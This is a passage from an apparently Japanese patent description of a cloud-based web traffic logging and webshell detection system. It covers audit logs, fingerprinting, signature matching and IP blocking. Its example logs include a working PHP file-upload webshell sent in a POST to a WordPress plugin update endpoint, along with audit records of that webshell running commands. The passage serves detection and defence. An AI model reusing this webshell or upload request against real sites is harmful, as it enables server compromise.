その時、リナックス（登録商標）オペレーティングシステムは、下記のようなログを生成してもよい。
type=SYSCALL msg=audit(1496192294.686:6681): arch=c000003e syscall=59 success=yes exit=0 a0=7efda2e40de9 a1=7ffd7eedab90 a2=7ffd7eedf940 a3=7efda47b3b10 items=2 ppid=62724 pid=62913 auid=4294967295 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295 comm="sh" exe="/usr/bin/bash" subj=system_u:system_r:httpd_t:s0 key="webshell"
type=EXECVE msg=audit(1496192294.686:6681): argc=3 a0="sh" a1="-c" a2=70732061757820323E2631
type=CWD msg=audit(1496192294.686:6681): cwd="/var/www/html/wordpress"
type=PATH msg=audit(1496192294.686:6681): item=0 name="/bin/sh" inode=33681891 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:shell_exec_t:s0 objtype=NORMAL
type=PATH msg=audit(1496192294.686:6681): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=70629119 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL
type=SYSCALL msg=audit(1496192294.690:6682): arch=c000003e syscall=59 success=yes exit=0 a0=7efda2e40de9 a1=7ffd7eedab90 a2=7ffd7eedf940 a3=7efda47b3b10 items=2 ppid=62704 pid=62914 auid=4294967295 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295 comm="sh" exe="/usr/bin/bash" subj=system_u:system_r:httpd_t:s0 key="webshell"
type=EXECVE msg=audit(1496192294.690:6682): argc=3 a0="sh" a1="-c" a2=70732061757820323E2631
type=CWD msg=audit(1496192294.690:6682): cwd="/var/www/html/wordpress"
type=PATH msg=audit(1496192294.690:6682): item=0 name="/bin/sh" inode=33681891 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:shell_exec_t:s0 objtype=NORMAL
type=PATH msg=audit(1496192294.690:6682): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=70629119 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL
type=SYSCALL msg=audit(1496192294.693:6683): arch=c000003e syscall=59 success=yes exit=0 a0=dc3a50 a1=dc3d50 a2=dc2af0 a3=7ffd0b2c6a10 items=2  ppid=62913  pid=62915 auid=4294967295 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295  comm="ps" exe="/usr/bin/ps"  subj=system_u:system_r:httpd_t:s0  key="webshell"
type=EXECVE msg=audit(1496192294.693:6683): argc=2  a0="ps" a1="aux"
type=CWD msg=audit(1496192294.693:6683):  cwd="/var/www/html/wordpress"
type=PATH msg=audit(1496192294.693:6683): item=0 name="/usr/bin/ps" inode=33612338 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL
type=PATH msg=audit(1496192294.693:6683): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=70629119 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL
type=SYSCALL msg=audit(1496192294.704:6684): arch=c000003e syscall=59 success=yes exit=0 a0=c8ba50 a1=c8bd50 a2=c8aaf0 a3=7ffddd6bcc70 items=2  ppid=62914  pid=62916 auid=4294967295 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=4294967295  comm="ps" exe="/usr/bin/ps"  subj=system_u:system_r:httpd_t:s0  key="webshell"
type=EXECVE msg=audit(1496192294.704:6684): argc=2  a0="ps" a1="aux"
type=CWD msg=audit(1496192294.704:6684):  cwd="/var/www/html/wordpress"
type=PATH msg=audit(1496192294.704:6684): item=0 name="/usr/bin/ps" inode=33612338 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL
type=PATH msg=audit(1496192294.704:6684): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=70629119 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL
【００６２】
その時、一般的なリナックス（登録商標）オペレーティングシステムで生成する基本ログとは異なり、ウェブトラフィックロギング部１１０で生成するログは、プログラム動作位置（/var/www/html/wordpress）、プログラム実行情報（ps aux, ls）、プログラム全体経路（/usr/bin/ps, /usr/bin/ls）及びプログラム情報（pid, ppid, uid, gid, euid, egid）のようなウェブシェル攻撃の検知に対する重要情報を含んでもよい。
【００６３】
また、ウェブサーバ１００のウェブトラフィックロギング部１１０は、ウェブのＨＴＴＰ／ＨＴＴＰＳプロトコルのメソッドの中に、ポスト方式のポストボディデータを含むように下記のようなログで生成してもよい。
{"Cookie":"",
"Status":"200",
"Accept-Charset":"",
"Post-body":"--dd2dbcbca6e24139920596392a2bd70ernContent-Disposition: form-data; name=&quot;action&quot;rnrnshowbiz_ajax_actionrn--dd2dbcbca6e24139920596392a2bd70ernContent-Disposition: form-data; name=&quot;client_action&quot;rnrnupdate_pluginrn--dd2dbcbca6e24139920596392a2bd70ernContent-Disposition: form-data; name=&quot;update_file&quot;; filename=&quot;NULLpOint7r__fiydj.php&quot;rnContent-Type: text/htmlrnrn&lt;?php @set_time_limit(0);@header(&#39;null77: pOinter&#39;);?&gt;&lt;form method=&#39;POST&#39; enctype=&#39;multipart/form-data&#39;&gt;&lt;input type=&#39;file&#39; name=&#39;f&#39;/&gt;&lt;input type=&#39;submit&#39; value=&#39;up&#39;/&gt;&lt;/form&gt;&lt;?php echo @copy($_FILES[&#39;f&#39;][&#39;tmp_name&#39;],$_FILES[&#39;f&#39;][&#39;name&#39;])?&#39;ok&#39;:&#39;no&#39;;?&gt;rn--dd2dbcbca6e24139920596392a2bd70e--",
"Accept":"*/*",
"Server":"Apache",
"Request":"POST /wp-admin/admin-ajax.php HTTP/1.1",
"Referer":"",
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0",
"Connection":"keep-alive",
"Host":"nresearch.net",
"From":"",
"Accept-Encoding":"gzip, deflate",
"Method":"POST",
"x-forwarded-for":"",
"Remote-addr":"123.456.789.123",
"Uri":"/wp-admin/admin-ajax.php",
"Authorization":"",
"Cache-Control":"",
"Accept-Language":"",
"Content-Length":"652",
"Request-date":"Sat Sep 23 05:25:25 2017",
"Content-Type":""}
【００６４】
また、ウェブサーバ１００のウェブトラフィックロギング部１１０は、ウェブのＨＴＴＰ／ＨＴＴＰＳプロトコルのメソッドのうち、レスポンスボディに含むように下記のようなログで生成してもよい。
{"Uri":"/daytime",
"Host":"10.100.10.86:8080",
"Connection":"keep-alive",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Accept-Encoding":"gzip, deflate","Accept-Language":"ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7","Remote-addr":"10.100.10.170",
"Request":"GET /daytime HTTP/1.1",
"Method":"GET",
"Content-Type":"text/html;charset=ISO-8859-1",
"Content-Length":"160",
"Respbody":"<html>\n<head>\n<title>DayTime</title>\n</head>\n<body>\n<div style=\"font-size: 40px; text-align: center; font-weight: bold\">\n2018/3/17 14:41\n</div>\n</body>\n</html>\n",
"Status":"200",
"Server":"Apache/2.4.2",
"Request-date":"Sat March 17 14:39:49 2018"}
【００６５】
ログ統合部１１４は、ログ設定に応じて生成されるログを統合し、ログ情報を生成する。ログ統合部１１４は、ログ情報をログ転送部１１６に転送する。
【００６６】
ログ統合部１１４は、ログ設定部１１２の設定に応じて、機密データは、アスタリスク（asterisk; *）のような特殊文字に変換するか、或いは暗号化し、ログ設定部１１２の設定に応じて、機密データ推奨システムで機密データを選別し、別途ファイルに記録してもよい。
【００６７】
ログ統合部１１４は、ログ設定部１１２のプロトコル設定に応じて、ＨＴＴＰ（８０）である場合は、一般の平文分析を支援し、ＨＴＴＰＳ（４４３）である場合は、ウェブサーバの証明書及びプライベートキーを用いて暗号文を平文に変換してログを保存してもよい。
【００６８】
ログ転送部１１６は、ログ情報をあらかじめ指定された形式にエンコードしてクラウドサーバ２００に転送する。従って、ログ転送部１１６は、エンコードを介してログ情報を圧縮してクラウドサーバ２００に転送するため、ネットワークトラフィックを低減できる。又は具現方法により、ログ転送部１１６は、ログ情報を非圧縮状態でウェブトラフィックロギング部１１０の資源消費を低減する形態に具現されてもよい。その時、ログ転送部１１６は、複数のクラウドサーバ２００に各ログ情報を分散して転送してもよい。従って、複数クラウドサーバ２００は、並列的なログ分析による攻撃検知を行ってもよい。
【００６９】
また、ログ転送部１１６は、ログ統合部で統合されたログを転送する場合、転送量を減らすために、プログラム実行を行わない静的ファイルに対しては転送から除外処理できるように選択事項を提供し、圧縮及び非圧縮、暗号化及び非暗号化に対しても選択事項を提供してもよい。ログ転送部１１６は、例えば、リクエストメソッドの中でＧＥＴである場合は、静的ファイルであって単なるファイル、画像、フォントなどであり、プログラム実行が行なわれない静的ファイルに対しては、生成されたログから分析システムであるクラウドサーバに転送しなくてもよい。
【００７０】
ＩＰアドレス遮断部１１８は、クラウドサーバ２００からウェブハッキング検知情報を受信するか、或いは自動且つ周期的に接続し、該当の情報を読み込む方法で情報を取得し、検知情報に含まれたソースＩＰ（Source IP）アドレスからのアクセスを遮断する。例えば、ＩＰアドレス遮断部１１８は、ウェブハッキング検知情報のソースＩＰアドレスを遮断リストに追加し、遮断リストに含まれた各ソースＩＰアドレスに対応するアクセスを遮断してもよい。ＩＰアドレス遮断部１１８は、ウェブトラフィックロギング部１１０がウェブサーバ１００に含まれておらず、リバースプロキシサーバ又は別途のサーバから構成される場合は、ウェブサーバ１００にウェブハッキング検知情報に含まれたソースＩＰ（Source IP）アドレス情報を転送し、ウェブサーバ１００でウェブハッキング検知情報のソースＩＰアドレスを遮断リストに追加し、或いは、オペレーティングシステムに含まれたファイアウォール又はＩＰテーブル（iptables）などに遮断リストを追加し、遮断リストに含まれた各ソースＩＰアドレスに対応するアクセスを遮断してもよい。
【００７１】
図３は、本発明の一実施形態によるウェブトラフィックロギングシステムのクラウドサーバを説明するための図である。
【００７２】
図３を参照すると、本発明の一実施形態によるクラウドサーバ２００は、ログ分解部２１０、フィンガープリント生成部２２０、及び検知部２３０を含む。
【００７３】
ログ分解部２１０は、ウェブサーバ１００のウェブトラフィックロギング部１１０から受信したログ情報をフィールド別に分解する。例えば、ログ分解部２１０は、ログ情報をＨｅａｄｅｒ、Ｒｅｑｕｅｓｔ  Ｂｏｄｙ（Post-Body）、Ｒｅｓｐｏｎｓｅ  Ｂｏｄｙ（Resp-Body）、Ｃｏｏｋｉｅなどのあらかじめ設定されたフィールド単位に分解する。ログ分解部２１０は、分解されたログ情報（以下、「フィールド情報」とする）をフィンガープリント生成部２２０に転送する。また、ログ分解部２１０は、ログ情報を検知部２３０に転送する。
【００７４】
フィンガープリント生成部２２０は、フィールド情報別にフィンガープリントを生成する。その時、フィンガープリントは、ＳＱＬ、ＨＴＭＬ、Ｊａｖａ（登録商標）、ウェブシェルなどのフィールド情報の形式に応じて構文解析（parsing）を行い、指定された単語、数字及び文字をあらかじめ指定された文字（以下、「変換文字」とする）に変換した文字列である。例えば、フィンガープリント生成部２２０は、フィールド情報に特定単語が含まれている場合、該単語を該単語に対応してあらかじめ指定された変換文字に変換してもよい。また、フィンガープリント生成部２２０は、フィールド情報に数字列が含まれている場合、該数字列をすべての数字に対応してあらかじめ設定された変換文字に変換してもよい。フィンガープリント生成部２２０は、各単語、数字、文字に対応する変換文字を順次に含むフィンガープリントを生成してもよい。その時、各単語、数字及び文字に対応してあらかじめ指定された変換文字は、フィールド情報の形式（ＳＱＬ、ＨＴＭＬ、Ｊａｖａ（登録商標）ｓｃｒｉｐｔ、ウェブシェルなど）ごとに異なるように指定されてもよい。例えば、ＳＱＬ形式のフィールド情報及びＨＴＭＬ形式のフィールド情報に含まれた同じ単語に対して、あらかじめ異なる変換文字が指定されてもよい。フィンガープリント生成部２２０は、各フィールド情報に対するフィンガープリントを検知部２３０に転送する。すなわち、フィンガープリント生成部２２０は、ＳＱＬキーワード及びＳＱＬインジェクションに用いられる文字を除くすべての単語及び数字を特定文字で表現し、キーワードやインジェクション文に用いられる単語／文字も指定した文字で表現したＳＱＬフィンガープリントを生成してもよい。また、フィンガープリント生成部２２０は、ＨＴＭＬに用いられる文字を除くすべての単語及び数字を特定文字で表現し、キーワードに用いられる単語／文字も指定した文字で表現したＨＴＭＬフィンガープリントを生成してもよい。また、フィンガープリント生成部２２０は、Ｊａｖａ（登録商標）ｓｃｒｉｐｔに用いられる文字を除くすべての単語及び数字を特定文字で表現し、キーワードに用いられる単語／文字も指定した文字で表現するＪａｖａ（登録商標）ｓｃｒｉｐｔフィンガープリントを生成してもよい。また、フィンガープリント生成部２２０は、ｐｈｐ、ａｓｐ、ｐｅｒｌ、ｐｙｔｈｏｎ、ｂａｓｈなどのようなプログラムに用いられる文字を除くすべての単語及び数字を特定文字で表現し、キーワードに用いられる単語／文字も指定した文字で表現したウェブシェル（web shell）をフィンガープリントで生成してもよい。
【００７５】
検知部２３０は、各フィンガープリントのうち、攻撃に対応するフィンガープリント（以下、「攻撃フィンガープリント」とする）が存在するかを判断する。検知部２３０は、すべてのハッキング攻撃に対するフィンガープリントを含むブラックリストを保存し、各フィンガープリントのうち、ブラックリスト内に含まれたフィンガープリントが存在する場合、該ブラックリストと対応するフィンガープリントを攻撃フィンガープリントであると判断する。
【００７６】
検知部２３０は、各フィンガープリントのうち、攻撃フィンガープリントが存在しない場合、ログ分解部２１０からログ情報を受信し、ログ情報に対する署名ベースの攻撃検知を行う。その時、検知部２３０は、あらかじめ指定された攻撃に対する署名を保存し、保存された署名と対応する署名がログ情報に存在する場合、該ログ情報による攻撃が発生したものと判断してもよい。
【００７７】
検知部２３０は、攻撃フィンガープリントが存在するか、或いは署名ベースの攻撃検知によって攻撃が検出された場合、分析対象であるログ情報のソースＩＰ（source IP）アドレスを含む検知情報を生成してこれを保存し、ウェブトラフィックロギング部１１０のＩＰアドレス遮断部１１８が周期的に読み込むようにするか、或いはウェブトラフィックロギング部１１０のＩＰアドレス遮断部１１８に転送する。
【００７８】
図４は、本発明の一実施形態によるウェブハッキングのリアルタイム検知のためのウェブトラフィックロギング方法を説明するための図である。
【００７９】
図４を参照すると、ステップＳ４１０において、ウェブサーバ１００のウェブトラフィックロギング部１１０は、ログ設定を行う。
【００８０】
ウェブトラフィックロギング部１１０は、ウェブサーバハッキングに備えるためにウェブクライアントとウェブサーバとの間のＨＴＴＰ／ＨＴＴＰＳプロトコル内のすべての項目においてハッキングを検知する。
【００８１】
ウェブトラフィックロギング部１１０は、ＨＴＴＰ／ＨＴＴＰＳプロトコルメソッド、例えば、ポストボディ、レスポンスボディに転送されるデータをログとして収集し、プログラム動作位置、プログラム実行情報、プログラム実行対象形態及びプログラム実行主体、プログラム全体経路及びプログラム情報のうちの一つ以上を含むログを収集するようにログ設定を行ってもよい。これは、ハッカーがポスト（POST）方式で本文（BODY）に攻撃データを挿入して攻撃するためであり、ポストボディの分析は重要である。また、攻撃の成功有無に対してレスポンスボディを通じて明確に判別できるので、レスポンスボディの分析も重要である。例えば、ＳＱＬインジェクション攻撃において、実際のデータ漏洩が生じたのかを直接確認することができ、被害度や危険度の測定が可能である。また、別の例として、クロスサイトスクリプティング（XSS）攻撃の場合、ＧＥＴ／ＰＯＳＴのリクエストステップで検知し、レスポンスステップであるレスポンスボディをクラウドサーバの仮想ウェブ環境上で行って検知する方法で、さらに明確に検知できるように駆動してもよい。ここで、仮想ウェブ環境とは、ユーザパソコンのブラウザで実行するのと類似の環境であり、ブラウザエミュレータなどの様々な技術がある。
【００８２】
ステップＳ４２０において、ウェブトラフィックロギング部１１０は、オペレーティングシステムによって生成されたログを統合してログ情報を生成する。
【００８３】
ステップＳ４３０において、ウェブトラフィックロギング部１１０は、ログ情報をクラウドサーバ２００に転送する。その時、ウェブトラフィックロギング部１１０は、ログ情報をあらかじめ指定された方法に応じてエンコードし、ログ情報を転送する際のネットワーク負荷を低減でき、またデータを暗号化して保護することもできる。
【００８４】
ステップＳ４４０において、クラウドサーバ２００は、ログ情報をフィールド別に分解する。例えば、クラウドサーバ２００は、ログ情報をＨｅａｄｅｒ、Ｒｅｑｕｅｓｔ  Ｂｏｄｙ、Ｒｅｓｐｏｎｓｅ  Ｂｏｄｙ、ＵＲＬ、Ｃｏｏｋｉｅなどのあらかじめ設定されたフィールド単位に分解してもよい。
【００８５】
ステップＳ４５０において、クラウドサーバ２００は、フィールド別にフィンガープリントを生成する。例えば、クラウドサーバ２００は、フィールド情報の形式に応じて構文解析を行い、指定された単語、数字及び文字をあらかじめ指定された変換文字に変換し、フィンガープリントを生成してもよい。
【００８６】
ステップＳ４６０において、クラウドサーバ２００は、全体フィンガープリントのうち、ブラックリストに含まれたフィンガープリントと対応する攻撃フィンガープリントが存在するかを判断する。
【００８７】
ステップＳ４７０において、攻撃フィンガープリントが存在しない場合、クラウドサーバ２００は、ログ情報に対して署名ベースの攻撃検知方法を適用して攻撃を検知する。
【００８８】
ステップＳ４８０において、クラウドサーバ２００は、フィンガープリントベース又は署名ベースの攻撃検知方法によって攻撃が検知された場合、ログ情報に対応するソースＩＰアドレスを含む検知情報をウェブトラフィックロギング部１１０に転送する。
【００８９】
ステップＳ４９０において、ウェブサーバ１００又はウェブトラフィックロギング部１１０は、検知情報のソースＩＰアドレスからのアクセスを遮断する。例えば、ウェブサーバ１００又はウェブトラフィックロギング部１１０は、検知情報のソースＩＰアドレスを遮断リストに追加し、遮断リストに含まれた各ソースＩＰアドレスに対応するアクセスを遮断してもよい。
【００９０】
図５は、本発明の第２の実施形態によるウェブトラフィックロギングシステムを説明するための図である。
【００９１】
図５を参照すると、本発明の第２の実施形態によると、ウェブトラフィックロギング部１１０は、ウェブサーバ１００のプログラムとは独立し、クライアントとウェブサーバとの間の通信で発生するＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスを収集するモジュールから構成されてもよい。ウェブトラフィックロギング部１１０は、ウェブサーバ１００のプログラムとは独立したモジュールから構成され、すべての項目において、特にポストボディ及びレスポンスボディのログを生成し、生成されたポストボディ及びレスポンスボディのログをクラウドサーバ２００に転送してもよい。これは、多くの市販のウェブサーバプログラムの場合、ウェブサーバプログラムのメモリー共有を支援しないか、或いはシステムの性能上などの理由から、市販のウェブサーバプログラムに組み込まれるモジュールをインストールできない場合があるためである。
【００９２】
図６は、本発明の第３の実施形態によるウェブトラフィックロギングシステムを説明するための図である。
【００９３】
図６を参照すると、本発明の第３の実施形態によると、ウェブトラフィックロギング部１１０は、リバースプロキシ機能を活用するリバースプロキシサーバ３００から構成されてもよい。リバースプロキシサーバ３００は、ウェブログ分析のためのモジュールをインストールするか、或いはポストボディのロギング機能を活性化し、ＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスのすべての項目において、特にポストボディ及びレスポンスボディのログを生成し、生成されたポストボディ及びレスポンスボディのログをリアルタイムでクラウドサーバ２００に転送してもよい。ここで、リバースプロキシ（Reverse Proxy）機能とは、クライアントのリクエストに対してウェブサーバにトラフィックを転送する過程で中間に位置し、クライアントのリクエストを先に受け、これを再びウェブサーバ１００にトラフィックを転送する方法であり、サーバの応答方法においても、これを先に受け、それからクライアントに転送するものである。ウェブトラフィックロギング部１１０は、リバースプロキシサーバ３００によって具現されるので、ウェブサーバプログラムに直接モジュールのインストールを行うことなく、ハッキング検知のための重要ログであるポストボディ及びレスポンスボディなどを生成してもよい。ウェブトラフィックロギング部１１０は、リバースプロキシサーバ３００によって具現される場合、クライアントネットワークの構成に変化をもたらすことがあるが、ウェブサーバにモジュールがインストールされないといった長所がある。
【００９４】
図７は、本発明の第４の実施形態によるウェブトラフィックロギングシステムを説明するための図である。
【００９５】
図７を参照すると、本発明の第４の実施形態によると、ウェブトラフィックロギング部１１０は、ポートミラーリング（Port mirroring）技法を用いてクライアントとウェブサーバとの間のトラフィックを、リバースプロキシのように中間に位置するのではなく、別途のウェブトラフィックロギングサーバ４００においてＨＴＴＰ／ＨＴＴＰＳプロトコルをログとして保存するようにし、ハッキング検知を支援してもよい。これは、システムの運営上、リバースプロキシは新たなシステムであることから、運営中のシステムに変更が必要となるためであり、システムに加えられるので障害発生点が増えることから、メンテナンス費用が増大するためである。
【００９６】
ウェブトラフィックロギングサーバ４００は、ポートミラーリング機能を活用して別途のサーバでウェブのトラフィックを受信する。受信されるＨＴＴＰ／ＨＴＴＰＳプロトコルのリクエスト及びレスポンスのすべての項首において、特にポストボディ、レスポンスボディなどをログとして生成するか、或いは遠隔地クラウドサーバに転送する。ここで、ポートミラーリング（Port Mirroring）機能とは、ネットワークスイッチの任意の一つのポートのすべてのネットワークパケット又は全体ＶＬＡＮのすべてのパケットを他のモニタリングポートに複製するために用いられる技術である。仮にスイッチのポートミラーリング機能がない場合、ネットワークタップ（TAP; Test Access Ports）装備を用いてＨＴＴＰ／ＨＴＴＰＳプロトコルのすべての項目、特にポストボディ及びレスポンスボディをログとして生成するか、或いは遠隔地サーバに転送する。ここで、タップ（TAP）装備とは、データ流れの中断なく、ネットワークに何ら影響を与えることなくトラフィックをモニタリングできるようにしてくれる装備である。ウェブトラフィックロギングサーバ４００は、ウェブサーバプログラムに直接モジュールのインストールを行うことなく、ハッキング検知のために重要なログであるポストボディ、レスポンスボディなどを生成してもよい。
【００９７】
またポートミラーリング技法を活用すると、ハッカーがウェブサーバのハッキング後にログを直接操作して分析を妨害する攻撃を遮断することができる。
【００９８】
前述した本発明の実施形態は、様々な手段によって具現されてもよい。例えば、本発明の実施形態は、ネットワークスイッチ、ファイアウォール、タップ、Ｌ４スイッチ、リバースプロキシハードウェア装備、ソフトウェアプログラム又はそれらの組合せなどによって具現されてもよい。
【００９９】
また、本発明の実施形態は、ハードウェア、ファームウェア（firmware）、ソフトウェア又はそれらの組合せなどによって具現されてもよい。
【０１００】
ハードウェアによる具現の場合、本発明の実施形態による方法は、一つ又はそれ以上のＡＳＩＣｓ（Application Specific Integrated Circuits）、ＤＳＰｓ（Digital Signal Processors）、ＤＳＰＤｓ（Digital Signal Processing Devices）、ＰＬＤｓ（Programmable Logic Devices）、ＦＰＧＡｓ（Field Programmable Gate Arrays）、プロセッサ、コントローラ、マイクロコントローラ、マイクロプロセッサなどによって具現されてもよい。
【０１０１】
ファームウェアやソフトウェアによる具現の場合、本発明の実施形態による方法は、以上で説明された機能又は動作を遂行するモジュール、プロセス又は関数などの形態で具現されてもよい。ソフトウェアコードなどが記録されたコンピュータプログラムは、コンピュータ可読記録媒体又はメモリーユニットに保存され、プロセッサによって駆動されてもよい。メモリーユニットは、プロセッサの内部又は外部に位置し、既に公知となった様々な手段によってプロセッサとデータのやり取りをすることができる。
【０１０２】
また、本発明に添付されたブロック図の各ブロック及び流れ図の各ステップの組合せは、コンピュータプログラム命令（instruction）によって遂行されてもよい。これらコンピュータプログラム命令は、汎用のコンピュータ、特殊用のコンピュータ又はその他のプログラム可能なデータプロセシング装備のエンコードプロセッサに搭載できるので、コンピュータ又はその他のプログラム可能なデータプロセッシング装備のエンコードプロセッサによって行われるその命令が、ブロック図の各ブロック又は流れ図の各ステップで説明された機能を遂行する手段を生成するようになる。これらコンピュータプログラム命令は、特定の方法で機能を具現するために、コンピュータ又はその他のプログラム可能なデータプロセッシング装備を志向できるコンピュータ利用可能又はコンピュータ可読メモリーに保存されることもできるので、そのコンピュータ利用可能又はコンピュータ可読メモリーに保存された命令は、ブロック図の各ブロック又は流れ図の各ステップで説明された機能を遂行する命令手段を内包する製造品目を生産することもできる。コンピュータプログラム命令は、コンピュータ又はその他のプログラム可能なデータプロセッシング装備上に搭載されることも可能なので、コンピュータ又はその他のプログラム可能なデータプロセッシング装備上で一連の動作ステップが行われてコンピュータで実行されるプロセスを生成し、コンピュータ又はその他のプログラム可能なデータプロセッシング装備を遂行する命令は、ブロック図の各ブロック及び流れ図の各ステップで説明された機能を行うためのステップを提供することも可能である。
【０１０３】
加えて、各ブロック又は各ステップは、特定の論理的機能を行うための一つ以上の実行可能な命令を含むモジュール、セグメント又はコードの一部を示してもよい。また、いくつかの代替可能な実施形態では、ブロック又はステップにおいて述べた機能が手順から脱して発生することもできる点に注目すべきである。例えば、連続して図示されている二つのブロック又はステップは、実は実質的に同時に行われてもよく、或いはそのブロック又はステップが、時には該当する機能に応じて逆順で行われてもよい。
【０１０４】
このように、この発明の属する技術の分野における当業者は、本発明がその技術的思想や必須の特徴を変更することなく、他の具体的な形態で実施され得ることを理解できるはずである。従って、前述の実施形態は、すべての面において例示のものに過ぎず、限定するためのものではないと理解されるべきである。本発明の範囲は、発明の詳細な説明よりは添付の特許請求の範囲によって示され、特許請求の範囲の意味及び範囲、並びにその等価概念から想到されるすべての変更又は変形された形態も、本発明の範囲に含まれるものと解釈されるべきである。
【図１】
2019533841.tif 000003
【図２】
2019533841.tif 000004
【図３】
2019533841.tif 000005
【図４】
2019533841.tif 000006
【図５】
2019533841.tif 000007
【図６】
2019533841.tif 000008
【図７】
2019533841.tif 000009
【国際調査報告】
2019533841.tif 000010
2019533841.tif 000011
2019533841.tif 000012
2019533841.tif 000013